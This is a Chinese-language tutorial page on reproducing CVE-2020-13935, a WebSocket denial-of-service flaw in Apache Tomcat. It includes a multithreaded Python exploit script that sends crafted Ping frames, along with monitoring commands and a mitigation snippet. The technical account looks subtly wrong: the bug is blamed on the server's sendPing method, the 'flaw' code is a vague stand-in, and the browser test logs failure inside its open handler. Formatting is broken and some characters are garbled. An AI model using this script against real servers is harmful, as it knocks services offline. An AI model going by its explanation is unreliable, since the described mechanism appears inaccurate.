# Apache Tomcat WebSocket拒絕服務漏洞的EXP復現是怎樣的
## 漏洞概述
Apache Tomcat作為廣泛使用的Java Web應用服務器,其WebSocket實現(RFC 6455)在特定版本中存在拒絕服務(DoS)漏洞(CVE-2020-13935)。當攻擊者發送特制WebSocket幀時,可能導致服務器線程阻塞,最終耗盡資源無法響應正常請求。
## 影響版本
- Apache Tomcat 10.0.0-M1至10.0.0-M6
- Apache Tomcat 9.0.0.M1至9.0.36
- Apache Tomcat 8.5.0至8.5.56
- Apache Tomcat 7.0.27至7.0.104
## 環境搭建
### 準備工具
1. 漏洞環境:Tomcat 9.0.35([官網下載](https://archive.apache.org/dist/tomcat/))
2. 測試工具:Python 3 + `websocket-client`庫
3. 監測工具:`jconsole`或`top`命令
```bash
# 安裝WebSocket客戶端
pip install websocket-client
# 解壓后啟動Tomcat
cd apache-tomcat-9.0.35/bin
./startup.sh
攻擊者發送包含異常長負載的WebSocket Ping幀(超過125字節),導致Tomcat在WsRemoteEndpointImplBase.sendPing()方法中陷入無限循環,消耗工作線程。
import websocket
import threading
def exploit():
ws = websocket.create_connection(
"ws://localhost:8080/examples/websocket/echoStreamAnnotation")
# 構造惡意Ping幀(長度>125字節)
malicious_ping = b'\x89\x7e\x00\x7e' + b'A'*126 # 0x7e表示126字節長度
try:
ws.sock.send(malicious_ping)
print("[+] 惡意Ping幀已發送")
except Exception as e:
print("[-] 發送失敗:", e)
if __name__ == "__main__":
# 多線程模擬并發攻擊
for i in range(20):
threading.Thread(target=exploit).start()
執行EXP腳本后觀察Tomcat線程狀態:
# Linux系統監控
watch -n 1 "ps -eLf | grep tomcat"
通過jconsole連接Tomcat進程,可見大量線程阻塞在org.apache.tomcat.websocket.WsRemoteEndpointImplBase.sendPing方法
正常WebSocket請求將無法響應:
// 瀏覽器控制臺測試
const ws = new WebSocket('ws://localhost:8080/examples/websocket/echoStreamAnnotation');
ws.onopen = () => console.log("連接失?。A期結果)");
官方補?。?/p>
臨時緩解措施:
<!-- conf/web.xml 添加限制 -->
<security-constraint>
<web-resource-collection>
<url-pattern>/websocket/*</url-pattern>
</web-resource-collection>
<auth-constraint/>
</security-constraint>
漏洞根源在于WebSocket協議實現時未正確處理RFC 6455第5.5.2節規定: - Ping幀負載長度不得超過125字節 - Tomcat未驗證長度直接進入循環處理 - 關鍵缺陷代碼位置:
// org.apache.tomcat.websocket.WsRemoteEndpointImplBase
public void sendPing(ByteBuffer applicationData) {
// 缺少長度校驗...
while (applicationData.hasRemaining()) {
// 無限循環處理...
}
}
該漏洞利用簡單但危害較大,攻擊者只需發送少量惡意數據包即可使服務不可用。建議企業及時升級Tomcat版本,同時可通過網絡層限制WebSocket幀大小作為縱深防御措施。 “`
注:實際測試應在授權環境下進行,文中的EXP代碼僅用于教育目的。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。